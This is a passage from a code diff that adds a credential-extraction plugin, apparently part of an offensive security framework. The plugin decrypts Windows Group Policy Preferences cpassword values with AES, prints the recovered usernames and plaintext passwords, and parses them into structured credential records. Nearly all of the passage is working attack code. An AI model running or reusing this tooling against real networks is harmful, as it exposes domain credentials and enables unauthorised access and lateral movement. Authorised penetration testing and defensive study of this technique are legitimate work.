+ encrypted = base64.b64decode(cpassword)
325
+
326
+ # Decrypt
327
+ cipher = AES.new(key, AES.MODE_CBC, iv=b'\\x00' * 16)
328
+ decrypted = unpad(cipher.decrypt(encrypted), AES.block_size)
329
+ print('[+] Decrypted Password:', decrypted.decode('utf-16-le').rstrip('\\x00'))
330
+ print()
331
+ print('=== CREDENTIALS FOUND ===')
332
+ print('Username: $USERNAME')
333
+ print('Password:', decrypted.decode('utf-16-le').rstrip('\\x00'))
334
+ print('=========================')
335
+ " 2>&1 || echo "[-] Python decryption failed - install pycryptodome: pip install pycryptodome"
336
+ fi
337
+ """,
338
+ ]
339
+
340
+ return {"cmd": cmd, "timeout": 120}
341
+
342
+ def get_timeout(self, args: List[str] = None) -> int:
343
+ """Return timeout in seconds."""
344
+ return 120 # 2 minutes should be plenty
345
+
346
+ def parse_output(
347
+ self,
348
+ output: str,
349
+ target: str,
350
+ args: List[str] = None,
351
+ ) -> Dict[str, Any]:
352
+ """Parse gpp_extract output for credentials."""
353
+ result = {
354
+ "tool": "gpp_extract",
355
+ "target": target,
356
+ "credentials": [],
357
+ "gpp_file_found": False,
358
+ "decryption_success": False,
359
+ }
360
+
361
+ # Check if GPP file was downloaded
362
+ if "Downloaded GPP file successfully" in output:
363
+ result["gpp_file_found"] = True
364
+
365
+ # Extract username
366
+ username_match = re.search(r"Username:\s*(.+?)(?:\n|$)", output)
367
+ username = username_match.group(1).strip() if username_match else None
368
+
369
+ # Extract decrypted password
370
+ password_match = re.search(r"Decrypted Password:\s*(.+?)(?:\n|$)", output)
371
+ if password_match:
372
+ result["decryption_success"] = True
373
+ password = password_match.group(1).strip()
374
+
375
+ if username and password:
376
+ result["credentials"].append(
377
+ {
378
+ "username": username,
379
+ "password": password,
380
+ "source": "gpp",
381
+ "type": "plaintext",
382
+ }
383
+ )
384
+
385
+ # Check for CREDENTIALS FOUND block
386
+ if "=== CREDENTIALS FOUND ===" in output:
387
+ result["decryption_success"] = True
388
+
389
+ return result
390
+
391
+
392
+ # Register the plugin
393
+ plugin = GppExtractPlugin()